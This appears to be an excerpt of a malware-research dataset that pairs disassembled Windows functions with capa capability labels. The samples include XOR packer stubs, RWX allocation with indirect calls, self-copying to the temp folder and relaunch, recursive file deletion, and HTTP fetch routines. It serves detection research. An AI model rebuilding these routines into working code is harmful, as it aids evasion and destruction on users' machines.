joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405da0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
xor eax, eax
jne 0x405da9
xor ecx, ecx
jne 0x405da9
xor edx, edx
cmp dword [ebp + 0xc], 0
setne dl
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0
jne 0x405dca
mov eax, 0xd
jmp 0x405e25
xor eax, eax
jne 0x405db1
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 1
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax*2]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2]
mov dword [ebp - 4], edx
cmp dword [ebp - 0xc], 1
jne 0x405ddb
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 7
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esp, ebp
pop ebp
ret 8

Function at 0x406e20
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov byte [ebp - 5], 0
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SOFTWAREMicrosoftNET_Framework_SetupNDP_v3.0
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x406e99
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 4
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0xc]
push eax
push 0
push str.Install
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x406e8f
cmp dword [ebp - 0xc], 4
jne 0x406e8f
cmp dword [ebp - 0x10], 1
jne 0x406e8f
mov byte [ebp - 5], 1
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, byte [ebp - 5]
mov esp, ebp
pop ebp
ret
Function at 0x407190
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x407246
mov eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov dword [ebp - 0x28], 0
xor ecx, ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
push 1
push 0
push 0
push 0
lea edx, [ebp - 0x28]
push edx
call dword [sym.imp.USER32.dll_PeekMessageW]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jle 0x407201
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea ecx, [ebp - 0x28]
push ecx
call dword [sym.imp.USER32.dll_DispatchMessageW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0xc], eax
push 0x4bf
mov edx, dword [ebp + 8]
push edx
push 0
lea eax, [ebp - 8]
push eax
push 1
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
sub ecx, eax
mov dword [ebp + 8], ecx
cmp dword [ebp + 8], 0
jg 0x4071b7
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x407360
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
push 0
push 0x407250
call dword [sym.imp.USER32.dll_EnumWindows]
neg eax
sbb eax, eax
add eax, 1
pop ebp
ret
Function at 0x4076d0
Capabilities:
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
mov word [ebp - 4], ax
movzx eax, word [ebp - 4]
and eax, 0x3ff
mov word [ebp - 8], ax
movsx ecx, word [ebp - 8]
cmp ecx, 1
jne 0x407708
push 0x4108a8
mov ecx, dword [ebp + 8]
call fcn.004015b0
jmp 0x4078a3
movsx edx, word [ebp - 4]
cmp edx, 0x804
jne 0x407726
push 0x4108b0
mov ecx, dword [ebp + 8]
call fcn.004015b0
jmp 0x4078a3
movsx eax, word [ebp - 4]
cmp eax, 0x404
jne 0x407743
push 0x4108b8
mov ecx, dword [ebp + 8]
call fcn.004015b0
jmp 0x4078a3
movsx ecx, word [ebp - 8]
cmp ecx, 7
jne 0x40775e
push 0x4108c0
mov ecx, dword [ebp + 8]
call fcn.004015b0
jmp 0x4078a3
movsx edx, word [ebp - 8]
cmp edx, 9
jne 0x407779
push 0x4108c8
mov ecx, dword [ebp + 8]
call fcn.004015b0
jmp 0x4078a3
movsx eax, word [ebp - 8]
cmp eax, 0xa
jne 0x407794
push 0x4108d0
mov ecx, dword [ebp + 8]
call fcn.004015b0
jmp 0x4078a3
movsx ecx, word [ebp - 8]
cmp ecx, 0xc
jne 0x4077af
push 0x4108d8
mov ecx, dword [ebp + 8]
call fcn.004015b0
jmp 0x4078a3
movsx edx, word [ebp - 8]
cmp edx, 0xd
jne 0x4077ca
push 0x4108e0
mov ecx, dword [ebp + 8]
call fcn.004015b0
jmp 0x4078a3
movsx eax, word [ebp - 8]
cmp eax, 0x10
jne 0x4077e5
push 0x4108e8
mov ecx, dword [ebp + 8]
call fcn.004015b0
jmp 0x4078a3
movsx ecx, word [ebp - 8]
cmp ecx, 0x11
jne 0x407800
push 0x4108f0
mov ecx, dword [ebp + 8]
call fcn.004015b0
jmp 0x4078a3
movsx edx, word [ebp - 8]
cmp edx, 0x12
jne 0x40781b
push 0x4108f8
mov ecx, dword [ebp + 8]
call fcn.004015b0
jmp 0x4078a3
movsx eax, word [ebp - 8]
cmp eax, 0x13
jne 0x407833
push 0x410900
mov ecx, dword [ebp + 8]
call fcn.004015b0
jmp 0x4078a3
movsx ecx, word [ebp - 8]
cmp ecx, 0x15
jne 0x40784b
push 0x410908
mov ecx, dword [ebp + 8]
call fcn.004015b0
jmp 0x4078a3
movsx edx, word [ebp - 8]
cmp edx, 0x16
jne 0x407863
push 0x410910
mov ecx, dword [ebp + 8]
call fcn.004015b0
jmp 0x4078a3
movsx eax, word [ebp - 8]
cmp eax, 0x19
jne 0x40787b
push 0x410918
mov ecx, dword [ebp + 8]
call fcn.004015b0
jmp 0x4078a3
movsx ecx, word [ebp - 4]
cmp ecx, 0xc04
jne 0x407896
push 0x410920
mov ecx, dword [ebp + 8]
call fcn.004015b0
jmp 0x4078a3
push 0x410928
mov ecx, dword [ebp + 8]
call fcn.004015b0
mov esp, ebp
pop ebp
ret
Function at 0x409567
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x415058], 0
push esi
jne 0x4094da
call fcn.00409400
test eax, eax
je 0x40951d
mov eax, dword [0x415058]
cmp eax, 1
jne 0x4094fb
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x40951d
pop esi
ret
push eax
call dword [0x415060]
test eax, eax
jne 0x409565
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x409521
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x415058]
call dword [0x415060]
mov edi, eax
test edi, edi
je 0x409546
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x409562
mov edi, esi
add esi, 0xff0
push edi
push dword [0x415058]
call dword [0x41505c]
add edi, 0x10
cmp edi, esi
jb 0x40954e
mov eax, edi
pop edi
pop esi
ret
jmp 0x4094c7

Function at 0x409937
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4142c8]
jne 0x409941
repz ret
jmp fcn.0040c4f0

Function at 0x40e98f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040bb0b
and dword [ebp - 4], 0
cmp dword [0x415b2c], 0
mov ebx, eax
jne 0x40ea40
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40eaf1
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40eaf1
push eax
call fcn.0040ba99
mov dword [esp], 0x411ad0
push edi
mov dword [0x415b2c], eax
call esi
push eax
call fcn.0040ba99
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x415b30], eax
call esi
push eax
call fcn.0040ba99
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x415b34], eax
call esi
push eax
call fcn.0040ba99
pop ecx
mov dword [0x415b3c], eax
test eax, eax
je 0x40ea40
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040ba99
pop ecx
mov dword [0x415b38], eax
mov eax, dword [0x415b38]
cmp eax, ebx
je 0x40ea98
cmp dword [0x415b3c], ebx
je 0x40ea98
push eax
call fcn.0040bb14
push dword [0x415b3c]
mov esi, eax
call fcn.0040bb14
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40ea98
test edi, edi
je 0x40ea98
call esi
test eax, eax
je 0x40ea8f
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40ea8f
test byte [ebp - 0xc], 1
jne 0x40ea98
or dword [ebp + 0x10], 0x200000
jmp 0x40ead1
mov eax, dword [0x415b30]
cmp eax, ebx
je 0x40ead1
push eax
call fcn.0040bb14
pop ecx
test eax, eax
je 0x40ead1
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40ead1
mov eax, dword [0x415b34]
cmp eax, ebx
je 0x40ead1
push eax
call fcn.0040bb14
pop ecx
test eax, eax
je 0x40ead1
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x415b2c]
call fcn.0040bb14
pop ecx
test eax, eax
je 0x40eaf1
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40eaf3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4011bb
Capabilities:
Delete file
Move file

Disassembly:
push 4
push 0
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
ret

Function at 0x40128d
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x674
push ebx
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x401376
cmp word [edi], 0
je 0x401376
push 0x10e
lea eax, [ebp - 0x674]
push edi
push eax
call dword [sym.imp.MSVCRT.dll_wcsncpy]
lea eax, [ebp - 0x674]
push 0x40584c
push eax
call dword [sym.imp.MSVCRT.dll_wcscat]
add esp, 0x14
lea eax, [ebp - 0x458]
push eax
lea eax, [ebp - 0x674]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x401376
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
cmp word [ebp - 0x42c], 0x2e
je 0x401353
lea eax, [ebp - 0x208]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x208]
push 0x405848
push eax
call esi
lea eax, [ebp - 0x42c]
push eax
lea eax, [ebp - 0x208]
push eax
call esi
test byte [ebp - 0x458], 0x10
lea eax, [ebp - 0x208]
push eax
je 0x401349
call fcn.0040128d
pop ecx
jmp 0x40134f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x401365
lea eax, [ebp - 0x458]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4012fb
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
pop esi
jmp 0x401378
xor eax, eax
pop edi
pop ebx
leave
ret
Function at 0x4013b9
Capabilities:
Copy file
Create process on windows
Delete file
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10464
call fcn.00403d70
and word [ebp - 0x464], 0
push ebx
push esi
mov ebx, 0x81
push edi
mov ecx, ebx
xor eax, eax
lea edi, [ebp - 0x462]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov esi, 0x104
lea eax, [ebp - 0x464]
push esi
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
and word [ebp - 0x25c], 0
mov ecx, ebx
xor eax, eax
lea edi, [ebp - 0x25a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x25c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, dword [sym.imp.MSVCRT.dll_wcsrchr]
lea eax, [ebp - 0x464]
push 0x5c
push eax
call esi
xor ebx, ebx
pop ecx
cmp eax, ebx
pop ecx
je 0x401447
add eax, 2
push eax
lea eax, [ebp - 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x25c]
push 1
push eax
lea eax, [ebp - 0x464]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40151a
lea eax, [ebp - 0x25c]
push eax
call fcn.004011bb
mov ecx, 0x3fff
xor eax, eax
lea edi, [ebp - 0x10462]
mov word [ebp - 0x10464], bx
push dword [ebp + 8]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x10464]
push str.__s___s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x25c]
push 0x5c
push eax
call esi
add esp, 0x1c
cmp eax, ebx
je 0x4014c7
mov word [eax], bx
lea eax, [ebp - 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0x50]
rep stosd dword es:[edi], eax
inc eax
lea edi, [ebp - 0xc]
mov dword [ebp - 0x28], eax
mov word [ebp - 0x24], ax
xor eax, eax
mov dword [ebp - 0x10], ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x54], 0x44
push eax
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x25c]
push eax
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x10464]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40239c
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10054
call fcn.00403d70
mov eax, dword [ebp + 8]
push esi
xor esi, esi
cmp eax, esi
je 0x40243a
cmp word [eax], si
je 0x40243a
push edi
push 0x8000
push eax
lea eax, [ebp - 0x10054]
push eax
call dword [sym.imp.MSVCRT.dll_wcsncpy]
add esp, 0xc
xor eax, eax
lea edi, [ebp - 0x50]
mov dword [ebp - 0x10], esi
push 0x10
pop ecx
rep stosd dword es:[edi], eax
lea edi, [ebp - 0xc]
mov dword [ebp - 0x54], 0x44
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x28], 1
push eax
lea eax, [ebp - 0x54]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x10054]
push esi
push eax
push esi
mov word [ebp - 0x24], 0xa
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
pop edi
je 0x40243a
push dword [ebp + 0xc]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x40242e
inc eax
jmp 0x40243c
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x40243c
xor eax, eax
pop esi
leave
ret

Function at 0x402e84
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4041f0
push 0x403df0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3c
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x3c]
mov edi, eax
mov dword [ebp - 0x44], edi
mov ecx, dword [ebp + 8]
mov dword [ecx], ebx
push 4
push 0x2000
shl eax, 0xa
push eax
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call esi
cmp eax, ebx
je 0x402f48
mov dword [ebp - 0x1c], edi
push 4
push 0x1000
push edi
push eax
call esi
mov esi, eax
mov dword [ebp - 0x48], esi
cmp esi, ebx
je 0x402f48
mov dword [ebp - 4], ebx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.MSVCRT.dll_vswprintf]
add esp, 0xc
mov dword [ebp - 0x4c], eax
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp + 8]
mov dword [ecx], esi
jmp 0x402f4a
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403022
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov ecx, dword [ebp + 0xc]
xor ebx, ebx
push edi
cmp ecx, ebx
je 0x40303d
cmp word [ecx], bx
je 0x40303d
xor eax, eax
jmp 0x403040
xor eax, eax
inc eax
mov edi, dword [ebp + 8]
mov dword [esi + 4], eax
cmp edi, ebx
je 0x4030eb
cmp dword [edi], 0x18
jne 0x4030eb
push dword [edi + 8]
lea ecx, [ebp - 4]
call fcn.00403106
mov eax, dword [edi + 4]
cmp eax, ebx
jne 0x403070
push ebx
push ebx
push ebx
push 1
jmp 0x4030d6
cmp eax, 1
je 0x4030d2
mov eax, dword [ebp - 4]
cmp dword [eax - 8], ebx
je 0x4030d2
push dword [edi + 0x10]
lea ecx, [esi + 0x10]
call fcn.00402610
push dword [edi + 0x14]
lea ecx, [esi + 0x14]
call fcn.00402610
push dword [edi + 0xc]
mov eax, dword [0x405050]
mov dword [ebp + 8], eax
lea eax, [ebp + 8]
push dword [ebp - 4]
push str.httphttp:___s:_d
push eax
call fcn.00402638
add esp, 0x10
push ebx
push str._local_
push dword [ebp + 8]
push 3
push dword [ebp + 0xc]
call dword [sym.imp.WININET.dll_InternetOpenW]
lea ecx, [ebp + 8]
mov dword [esi], eax
call fcn.0040264b
jmp 0x4030e1
push ebx
push ebx
push ebx
push ebx
push dword [ebp + 0xc]
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [esi], eax
lea ecx, [ebp - 4]
call fcn.0040264b
jmp 0x4030f8
push ebx
push ebx
push ebx
push ebx
push ecx
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [esi], eax
xor eax, eax
cmp dword [esi], ebx
pop edi
pop esi
setne al
pop ebx
leave
ret 8
Function at 0x403919
Capabilities:
Parse url

Disassembly:
push esi
mov esi, ecx
push edi
push esi
push dword [esp + 0x14]
mov eax, 0x81
mov dword [esi + 0x20], eax
mov dword [esi + 0x28], eax
push 0
mov eax, 0x801
push dword [esp + 0x18]
mov dword [esi + 8], 0x21
mov dword [esi + 0x14], 0x101
mov dword [esi + 0x30], eax
mov dword [esi + 0x38], eax
call dword [sym.imp.WININET.dll_InternetCrackUrlW]
mov edi, eax
test edi, edi
je 0x40397a
push 0x3f
push dword [esp + 0x10]
call dword [sym.imp.MSVCRT.dll_wcschr]
pop ecx
test eax, eax
pop ecx
je 0x40397a
add esi, 0x1486
push eax
push esi
call dword [sym.imp.MSVCRT.dll_wcscpy]
pop ecx
pop ecx
mov eax, edi
pop edi
pop esi
ret 8

Function at 0x403aca
Capabilities:
Get http content length
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.00403d70
push esi
lea eax, [ebp - 0xc]
push 0
push eax
lea eax, [ebp - 8]
mov esi, 0x7fffffff
push eax
push 0x20000005
push dword [ebp + 0xc]
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
jne 0x403b06
mov dword [ebp - 8], esi
mov eax, dword [0x405050]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
cmp eax, esi
je 0x403b18
inc eax
jmp 0x403b1d
mov eax, 0x2000
push eax
lea ecx, [ebp - 4]
call fcn.00403bc5
push 0xffffffffffffffff
lea ecx, [ebp - 4]
call fcn.00403bfa
and dword [ebp - 0x10], 0
mov esi, 0x1000
mov eax, dword [ebp - 0xc]
cmp eax, esi
jb 0x403b42
mov eax, esi
lea ecx, [ebp - 0x10]
push ecx
push eax
lea eax, [ebp - 0x1014]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x403b84
mov eax, dword [ebp - 0x10]
test eax, eax
jbe 0x403b84
and byte [ebp + eax - 0x1014], 0
lea eax, [ebp - 0x1014]
push eax
lea ecx, [ebp - 4]
call fcn.00403b9e
mov eax, dword [ebp - 4]
mov eax, dword [eax - 8]
cmp eax, dword [ebp - 8]
jl 0x403b39
mov ecx, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
call fcn.00403283
lea ecx, [ebp - 4]
call fcn.0040264b
mov eax, dword [ebp + 8]
pop esi
leave
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
nop
jmp fcn.00401219
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x432072
nop
nop
nop
nop
mov ebx, 0x40c7d0
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x127d4a09
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x432060
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4320d2
nop
nop
mov ebx, 0x42f314
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x60143958
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4320c0
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x40b4e5
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.004041e5
xor ebx, ebx
cmp dword [0x434898], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x40b5ba
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x40b525
sub eax, eax
jmp 0x40b67e
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x40b51e
push eax
call fcn.00404182
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x434898], eax
call esi
push eax
call fcn.00404182
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x43489c], eax
call esi
push eax
call fcn.00404182
mov dword [0x4348a0], eax
lea eax, [ebp - 8]
push eax
call fcn.004067af
or eax, eax
pop ecx
pop ecx
je 0x40b588
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403c3f
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x40b5ba
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.00404182
cmp eax, ebx
pop ecx
mov dword [0x4348a8], eax
je 0x40b5ba
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404182
pop ecx
mov dword [0x4348a4], eax
mov eax, dword [0x4348a4]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x40b633
cmp dword [0x4348a8], esi
je 0x40b633
push eax
call fcn.004041ee
pop ecx
call eax
cmp eax, ebx
je 0x40b600
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x4348a8]
call fcn.004041ee
pop ecx
call eax
or eax, eax
je 0x40b600
test byte [ebp - 0x18], 1
jne 0x40b633
lea eax, [ebp - 0xc]
push eax
call fcn.004067e6
or eax, eax
pop ecx
je 0x40b61b
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00403c3f
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x40b62a
or dword [ebp + 0x10], 0x200000
jmp 0x40b664
or dword [ebp + 0x10], 0x40000
jmp 0x40b664
mov eax, dword [0x43489c]
cmp eax, esi
je 0x40b664
push eax
call fcn.004041ee
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x40b664
mov eax, dword [0x4348a0]
cmp eax, esi
je 0x40b664
push dword [ebp - 4]
push eax
call fcn.004041ee
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x434898]
call fcn.004041ee
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43100c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403e6a
nop
sub eax, 0x403e10
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x431030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
jne 0x43101e
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219